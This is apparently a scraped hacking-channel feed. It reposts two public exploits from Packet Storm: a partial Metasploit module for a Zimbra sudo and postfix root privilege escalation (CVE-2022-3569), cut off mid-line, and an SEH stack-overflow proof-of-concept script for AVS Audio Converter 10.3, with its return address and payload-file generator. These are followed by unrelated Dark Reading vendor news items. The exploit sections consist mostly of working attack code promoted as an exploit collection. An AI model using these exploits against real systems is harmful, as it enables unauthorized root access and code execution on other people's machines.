Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Zimbra Privilege Escalation

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png This Metasploit module exploits a vulnerable sudo configuration that permits the Zimbra user to execute postfix as root. In turn, postfix can execute arbitrary shellscripts, which means it can execute a root shell.

SHA-256 | 60ec0dcab5b58dbebac7ed6c99c5cf1fb52f76e5b1a5f3723089e823fc252948Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zimbra sudo + postfix privilege escalation',
'Description' => %q{
This module exploits a vulnerable sudo configuration that permits the
zimbra user to execute postfix as root. In turn, postfix can execute
arbitrary shellscripts, which means it can execute a root shell.
},
'License' => MSF_LICENSE,
'Author' => [
'EvergreenCartoons', # discovery and poc
'Ron Bowes',         # Module
],
'DisclosureDate' => '2022-10-13',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-3569' ],
[ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],
],
'Targets' => [
[ 'Auto', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Zimbra Privilege Escalation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 15:57

Hacking Articles Tips Tricks Videos Tutorials

6 views15:57

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
AVS Audio Converter 10.3 Stack Overflow

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
AVS Audio Converter version 10.3 suffers from a stack overflow vulnerability.

SHA-256 | ec7347cd5f5d10a2cede7312e6e56ccaf9f1bf87ea591e7fb790a119da8b4db7

Download

# Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH)
# Discovered by: Yehia Elghaly - Mrvar0x
# Discovered Date: 2022-10-16
# Tested Version: 10.3.1.633
# Tested on OS: Windows 7 Professional x86

#pop+ret Address=005154E6
#Message=  0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe] 
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)

# The only module that has SafeSEH disabled.
# Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | 
# 0x00400000 | 0x01003000 | False  | False   | False |  False   | False  |

#Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes.

#Buffer  = '\x41'* 260
#nSEH    = '\x42'*4
#SEH     = '\x43'*4
#ESI     = 'D*44' # ESI Overwrite 

#buffer = "A"*260 + [nSEH] + [SEH] + "D"*44
#buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44
# Rexploit:
# Generate the 'evil.txt' payload using python 2.7.x on Linux.
# Open the file 'evil.txt' Copy.
# Paste at'Output Folder and click 'Browse'.

#!/usr/bin/python -w

filename="evil.txt"

buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

AVS Audio Converter 10.3 Stack Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 15:57

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Zscaler Advances Enterprise Data Security With Zero-Configuration Data Protection

New data-protection innovations mitigate security risks by expediting deployment cycles and simplifying operational complexity.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

Zscaler Advances Enterprise Data Security With Zero-Configuration Data Protection

New data-protection innovations mitigate security risks by expediting deployment cycles and simplifying operational complexity.

7 viewsedited 16:36

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Kaspersky Launches New VPN to Amplify Speed and Convenience

New version boosts VPN tunnel performance and lets users prioritize secure connection traffic for certain services.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

Kaspersky Launches New VPN to Amplify Speed and Convenience

New version boosts VPN tunnel performance and lets users prioritize secure connection traffic for certain services.

8 viewsedited 16:36

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
GroupSense Delivers New Ransomware Negotiation Training Service

Training service prepares ransomware response teams for successful threat actor engagement to mitigate damage, protect brand reputation, anticipate emerging threats, and more.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

GroupSense Delivers New Ransomware Negotiation Training Service

Training service prepares ransomware response teams for successful threat actor engagement to mitigate damage, protect brand reputation, anticipate emerging threats, and more.

8 viewsedited 16:36

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
DigiCert Appoints Industry Veteran Amit Sinha as Chief Executive Officer

Former Zscaler president to lead DigiCert's next stage of growth as the company accelerates its strategy, expands its product offering, and works to become the de facto standard for digital trust.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

DigiCert Appoints Industry Veteran Amit Sinha as Chief Executive Officer

Former Zscaler president to lead DigiCert's next stage of growth as the company accelerates its strategy, expands its product offering, and works to become the de facto standard for digital trust.

7 viewsedited 16:36

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Revelstoke Teams Up With BreachRx, Offering Users Automated Incident Response and Compliance Solutions

New partnership gives security analysts simplicity when sifting through data, thorough readouts of compliance options, and streamlined response to incidents.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

Revelstoke Teams Up With BreachRx, Offering Users Automated Incident Response and Compliance Solutions

New partnership gives security analysts simplicity when sifting through data, thorough readouts of compliance options, and streamlined response to incidents.

8 viewsedited 16:36

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
A New Solution to the Cybersecurity Skills Gap: Building Security into Operational Teams

Why — and how — companies should consider shifting day-to-day security responsibilities out to operations teams. The move would elevate the team's level of decision-making and help address the challenge of finding professionals with security-specific credentials.

8 views16:36

Source

About

Blog

Apps

Platform